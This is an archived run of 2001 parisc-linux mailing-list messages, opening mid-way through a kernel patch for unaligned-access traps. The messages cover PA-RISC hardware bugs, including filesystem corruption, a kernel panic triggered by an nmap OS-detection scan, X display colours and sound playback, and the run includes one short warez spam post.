+	case 18: /* PCX-S processors don't use 26, 27, 28 */
+		if (regs->ior & 3)
+			goto unaligned_d_access;
+		/* Fall through */
+
 	case 15:
 	case 26:
 		fault_address = regs->ior;
@@ -416,7 +421,8 @@ void handle_interruption(int code, struc
 		force_sig_info(SIGSEGV, &si, current);
 		return;
 
-	case 28:  /* Unaligned just causes SIGBUS for now */
+ unaligned_d_access:
+	case 28:
 		handle_unaligned(regs);
 #if 0
 		die_if_kernel("Unaligned data reference", regs, code);


I'm aware it doesn't attempt to handle case 27 yet, but that shouldn't
normally occur.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree on 712/60: BLUE instead of GREY/WHITE
Date: Sun, 16 Sep 2001 00:05:04 +0200
Organization: private
Lines: 22
Approved: news@gmane.org
Message-ID: <3BA3D090.BC0A662D@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620483 25574 80.91.229.3 (22 Nov 2014 01:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:23 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 15 16:05:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03DE2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Sep 2001 16:05:10 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20010915220507.HSUQ15028.viefep13-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 16 Sep 2001 00:05:07 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12192

Hello PA Risc hackers !

I know, this is a known problem and was discussed recently.

What is the status about this problem. Is this fixed? Is the problem
analysed ?

But I cannot imagine, that X is running !!
GOOD WORK !


With friendly regards
	Christoph P.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at





From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux and hp 735/125 fs corruption
Date: Sun, 16 Sep 2001 01:45:53 -0600 (MDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109160125430.22634-100000@lefou>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620483 25582 80.91.229.3 (22 Nov 2014 01:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 16 01:45:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AF97482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 01:45:55 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id BAA23843
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 01:45:53 -0600
X-X-Sender: <sonny@lefou>
Xref: news.gmane.org gmane.linux.ports.parisc:12193

Hi,
I have an hp 735/125 on which I initially installed hp-ux 11.0.  That was
all fine and dandy, but I got tired of trying to figure out the insides of
hp-ux, so I finally just turned the thing off.

It seemed like it might be fun to install linux on the box, so I got a
file system and precompiled kernel (2.4.0-32)  from:
http://mkhppa1.esiee.fr/

I installed these following the instructions from the same site.  It went
along more or less well until I tried to copy the latest kernel source
over ssh to the hp box.  It copied about 90% and then threw an
"Input/output error".  At that point all the programs I tried with the
exception of 'ls' threw the same error.  These symptoms have been repeated
regularly.

I do not have any swap partions.  I have 300MB on the box.  I tried with
two different disks and two different 735's.  Fsck on the root partition
shows massive (but so far recoverable) file system corruption.

Things I can't do:
	complete apt-get update
	untar kernel source
	copile kernel source
	scp kernel source

Things I can do:
	login
	add new users, modify passwords
	ssh session
	vi /etc/fstab, /etc/hosts, etc
	make menuconfig (for kernel compile)

I am baffeled.  I haven't been able to find any information on this
subject, other than to note that 2.4.0 has been blamed for fs corruption
on some systems.

Any ideas?

thanks,
Sonny Cook





From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux and hp 735/125 fs corruption
Date: Sun, 16 Sep 2001 11:55:18 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20010916115518.A1399@middle.of.nowhere>
References: <Pine.LNX.4.33.0109160125430.22634-100000@lefou>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620483 25586 80.91.229.3 (22 Nov 2014 01:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 16 04:21:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FBDE482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 04:21:53 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id MAA11487
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 12:21:51 +0200 (CEST)
Original-Received: (qmail 1578 invoked from network); 16 Sep 2001 09:55:21 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 16 Sep 2001 09:55:21 -0000
Original-Received: (qmail 2147 invoked by uid 500); 16 Sep 2001 09:55:18 -0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0109160125430.22634-100000@lefou>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12194

On Sun, Sep 16, 2001 at 01:45:53AM -0600, Sonny Cook wrote:
> 
> I am baffeled.  I haven't been able to find any information on this
> subject, other than to note that 2.4.0 has been blamed for fs corruption
> on some systems.
> 
I have seen lots of disk-corruption on my C200+, both with 2.4.0 and
with 2.4.9-pa{16|18|20} but it always seems to start with some
scsi-error. By the time the partition is remounted r/o, things like
complete linux-kernel source trees are crosslinked and corrupted. So
far, I've not lost anything really essential, but having all the links
in /etc/rc2.d/ removed wasn't that much fun.

Do you have any messages in the log-files?

Good luck,
Jurriaan
-- 
The unicorn stared unhappily at the dragon. "I don't suppose there's any
chance that thing is a vegetarian?" The dragon smiled. His pointed teeth
gleamed brightly in the sunlight.
	Simon R Green - Blue Moon Rising
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.09 0.06




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trace/Breakpoint trap on "make mrproper"
Date: Sun, 16 Sep 2001 16:28:41 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20010916162841.A6914@middle.of.nowhere>
References: <200109071356.HAA22153@udlkern.fc.hp.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620484 25592 80.91.229.3 (22 Nov 2014 01:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 16 08:29:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6BC1482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 08:29:51 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id QAA09443
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 16:29:22 +0200 (CEST)
Original-Received: (qmail 11768 invoked from network); 16 Sep 2001 14:28:43 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 16 Sep 2001 14:28:43 -0000
Original-Received: (qmail 7826 invoked by uid 500); 16 Sep 2001 14:28:41 -0000
Content-Disposition: inline
In-Reply-To: <200109071356.HAA22153@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12195

On Fri, Sep 07, 2001 at 07:56:42AM -0600, John Marvin wrote:
> >
> > It looks like this patch:
> > >Date: Thu, 6 Sep 2001 03:48:16 -0600 (MDT)
> > >From: John Marvin jsm@udlkern.fc.hp.com
> > >Subject: [parisc-linux-cvs] Patch for SMP support, etc.>
> > >A rather large patch that includes my current SMP support changes, plus
> > >a variety of other fixes/changes.
> >
> > did something. But it's so large I'm not sure what exactly :-)
> >
> > Jurriaan
> >
> 
> I was pretty sure my changes to handle_break (in traps.c) would fix that
> problem.  When I read your note I remembered that I had seen a similar
> problem and fixed it.  The kernel would hang when a user program executed
> a break instruction (either intentionally or not) without an attached
> debugger. That is the problem you were seeing.
> 
> However, now that the machine doesn't hang, I am not sure if the remaining
> problem you are seeing is a kernel bug or a userland bug.  It would appear
> that you are executing 0's (0x00000000 is a break instruction). That
> should cause the kernel to send you a SIGTRAP signal. I just checked some
> of your old mail, and it looks like you are getting a SIGTRAP. One thing
> that looks strange is that you are getting signals delivered using stack
> addresses both at ~0xfaf00000 and ~0xbff00000. I wonder if make is using
> an alternate signal stack?
> 
It may interest you to know that this 'Trace/breakpoint trap' does occur
when I compile the kernel for a PA8x00 cpu, but it doesn't occur when I
compile for PA7x00 cpu....

Jurriaan
-- 
I'll never be back and I'll never be missed
But I leave something here
And that doesn't seem right
	Big Country - The Dynamite Lady
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.09 0.06




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Webmaster@hurtings.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Software Request
Date: Sun, 16 Sep 2001 22:00:43 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <LEO5p1Fjxe0ymQ1WE9q0000116d@leo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620484 25595 80.91.229.3 (22 Nov 2014 01:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 16 20:01:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo (unknown [12.109.142.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD413482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Sep 2001 20:01:25 -0600 (MDT)
Original-Received: from mail pickup service by leo with Microsoft SMTPSVC;
	 Sun, 16 Sep 2001 22:00:43 -0400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 17 Sep 2001 02:00:43.0484 (UTC) FILETIME=[8F0EF1C0:01C13F1C]
Xref: news.gmane.org gmane.linux.ports.parisc:12196

Hey, check out this new warez site.

http://www.hurtings.com
Enjoy





From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "jlez" <jlez@altavista.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pbs while running an apache web server...
Date: Mon, 17 Sep 2001 11:33:16 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <002401c13f5b$cb01c830$0100a8c0@blup>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0021_01C13F6C.8B145D30"
X-Trace: ger.gmane.org 1416620484 25608 80.91.229.3 (22 Nov 2014 01:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 03:33:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c000.muc.cp.net (c000-h011.c000.muc.cp.net [209.228.29.35])
	by dsl2.external.hp.com (Postfix) with SMTP id EFA50482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 03:33:02 -0600 (MDT)
Original-Received: (cpmta 22773 invoked from network); 17 Sep 2001 10:32:41 +0100
Original-Received: from I221.resI.insa-lyon.fr (HELO blup) (134.214.164.162)
  by smtp.altavista.fr (209.228.29.35) with SMTP; 17 Sep 2001 10:32:41 +0100
X-Sent: 17 Sep 2001 09:32:41 GMT
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:12197

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0021_01C13F6C.8B145D30
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20

First of all, I would like to congratulate all the developpers working =
on this project!
I recently save a 712/80 from the trash, and install the 0.9.2 pa-risc =
linux on it.
I decide to use apache with php4 and mysql on it.
It works quite well, but I think there's a problem with memory loss...
When the traffic increases, memory is used (from now, that's ok), but, =
when the traffic decreases, and I add the memory that processes use, the =
sum is not equal to the total amount of memory used (as indicated by the =
top command, or 'ps aux'), and sometimes, the whole system crashes and =
the only solution to take the hand is rebooting (but cutting power, =
because the power button don't react...).
Does anybody know what could be the problem (and the solution ;) )?
I also have an other question : when do you think a 64 bits kernel with =
sti support would be available?

Best regards,

jl.

------=_NextPart_000_0021_01C13F6C.8B145D30
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>First of all, I would like to =
congratulate all the=20
developpers working on this project!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I recently save a 712/80 from the =
trash, and=20
install the 0.9.2 pa-risc linux on it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I decide to use apache with php4 and =
mysql on=20
it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>It works quite well, but I think =
there's a problem=20
with memory loss...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>When the traffic increases, memory is =
used (from=20
now, that's ok), but, when the traffic decreases, and I add the memory =
that=20
processes use, the sum is not equal to the total amount of memory used =
(as=20
indicated by the top command, or 'ps aux'), and sometimes, the whole =
system=20
crashes and the only solution to take the hand is rebooting (but cutting =
power,=20
because the power button don't react...).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Does anybody know what could be the =
problem (and=20
the solution ;) )?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I also have an other question : when do =
you think a=20
64 bits kernel with sti support would be available?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best regards,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>jl.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0021_01C13F6C.8B145D30--





From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] pbs while running an apache web
	server...
Date: Mon, 17 Sep 2001 11:37:29 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <sba5e649.037@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620485 25616 80.91.229.3 (22 Nov 2014 01:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:25 +0000 (UTC)
To: <jlez@altavista.fr>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 04:06:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3539482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 04:06:17 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id MAA05659 for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 12:06:16 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma005430; Mon, 17 Sep 01 12:04:57 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 17 Sep 2001 12:02:17 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12198

>Hi,=20
>
>I also have an other question : when do you think a 64 bits kernel with =
sti support would be available?
>
AFAIK, your 712 doesn't have a 64-bit CPU, so a 64-bits kernel probably =
wouldn't run on it...

But, I'd also like a 64-bits kernel with sti support for my C200+.

Good luck,
Jurriaan






From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Getting up and running
Date: Mon, 17 Sep 2001 04:12:30 -0600 (MDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200109171012.EAA27443@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620485 25626 80.91.229.3 (22 Nov 2014 01:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 04:12:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE1F3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 04:12:34 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 46262307
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 06:12:34 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id EAA27443
	for parisc-linux@lists.parisc-linux.org; Mon, 17 Sep 2001 04:12:30 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12199

>
> How does this look?  I can't test it because I don't have a 720-era machine,
> but it ought to work, I think...
>

<Patch Deleted>

No, it needs to be a little more complicated than that. That patch doesn't
take into account byte and half-word accesses to a page. The real fix
needs to look at the instruction in the iir register in combination with
the ior value in order to determine whether the access is unaligned.

I thought for a second that the patch might work anyway, since the
unaligned fault handler has exception table support, so even though
the instruction might be unecessarily emulated, it would still
successfully bring the page in, but the unaligned fault handler
uses ldb, which would just cause an infinite loop ...

So, the correct fix should probably involve leveraging some of the
macros in unaligned.c and writing something like check_unaligned(regs)
that would be used by the trap 18 handler to determine whether or
not the access was unaligned or not.

John




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Francois Deppierraz <francois@ctrlaltdel.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nmap -O -> kernel panic on 712
Date: Mon, 17 Sep 2001 16:55:01 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20010917165501.B17483@gollum.intranet.nimag.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620485 25634 80.91.229.3 (22 Nov 2014 01:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 08:55:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oscar.intranet.nimag.net (slipknot.nimag.net [195.202.197.141])
	by dsl2.external.hp.com (Postfix) with SMTP id 24583482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 08:55:03 -0600 (MDT)
Original-Received: (qmail 13275 invoked from network); 17 Sep 2001 14:55:02 -0000
Original-Received: from gollum.intranet.nimag.net (192.168.0.10)
  by oscar.intranet.nimag.net with SMTP; 17 Sep 2001 14:55:02 -0000
Original-Received: from francois by gollum.intranet.nimag.net with local (Exim 3.32 #1 (Debian))
	id 15iznZ-0004Yy-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 16:55:01 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Francois Deppierraz <francois@ctrlaltdel.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:12200

Hi kernel hackers !

My HP 712/60 with a 2.4.9-pa20 kernel crash with the following error
message when I portscan it using nmap -O (OS detection).

kswapd[4]: Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3o 00000000 10332810 1028b9e4 0000000a
r4-7o 100dfdb2 100ed148 0000000c 100dfd94
r8-11o 00000000 00000001 00020000 10ce6500
r12-15o 11fb09a0 00004400 00004800 43f02aa9
r16-19o 100eca00 00000000 00000c00 00000001
r20-23o 00000000 00000109 117ca000 0000000f
r24-27o 00000000 100ed148 10ce6500 102f0010
r28-31o 117ca160 00000040 100ed400 1012e6d8
sr0-3o 00000000 00000002 00000000 00000002
sr4-7o 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10281658 1028165c
 IIR: 0c801093    ISR: 00000000  IOR: 100dfdb2
 CPU:        0   CR30: 100ec000 CR31: 103a0000
 ORIG_R28: 00000000
Kernel Panic: Aiee, killing interrupt handler!
In interrupt handler - not syncing

Thanks for your work !

Any idea ? Do I need to fill a bugreport ?
-- 
Francois Deppierraz <francois.deppierraz@nimag.net>
Nimag Networks Srl - www.nimag.net
PGP Key ID: 9D283BC9




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Mon, 17 Sep 2001 13:26:36 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162768@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620486 25643 80.91.229.3 (22 Nov 2014 01:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:26 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Matthew Wilcox' <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 11:26:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx2.corp.harris.com (mlbmx2.corp.harris.com [137.237.90.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15AE4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 11:26:56 -0600 (MDT)
Original-Received: by mlbmx2.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <S6HB3WYS>; Mon, 17 Sep 2001 13:26:43 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12201

Hi,=20

I just upgraded to 2.4.9-pa18 and the soundchip is detected by =
Harmony-Driver
and i can work with aumix and mpg123 but the sound-output is kind of =
stuttering.
According to top mpg123 takes ~30% cpu-power and the machine is =
~65%idle (5%
System). Since converting the mp3 to wav (mpg123), converting the wav =
to raw
(sox) and piping the file to /dev/dsp works flawlessly I think this =
might be a
mpg123-problem.....

greetings
Wolfgang

> -----Original Message-----
> From:	Matthew Wilcox [SMTP:willy@debian.org]
> Sent:	Thursday, August 30, 2001 6:58 PM
> To:	Pedot, Wolfgang
> Cc:	'Matthew Wilcox'
> Subject:	Re: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! =
Sound?
>=20
> On Thu, Aug 30, 2001 at 11:19:23AM -0400, Pedot, Wolfgang wrote:
> > Yes, I read this but after I saw "supporting all 712/715 machines =
now" in
> the
> > CVS-log I thought it could work now....
> > So I=B4ll be patient and wait a little longer :)
>=20
> Shortly after I wrote that, I thought `Hey, you know, we could hack =
this
> to work really easily'.  Try it now; I've verified it boots on my =
715/75,
> but I don't have an IP address for that machine so I don't have =
userspace.
>=20
> --=20
> Revolutions do not require corporate support.




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Mon, 17 Sep 2001 20:33:12 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010917203312.A6109@middle.of.nowhere>
References: <20010917165501.B17483@gollum.intranet.nimag.net>
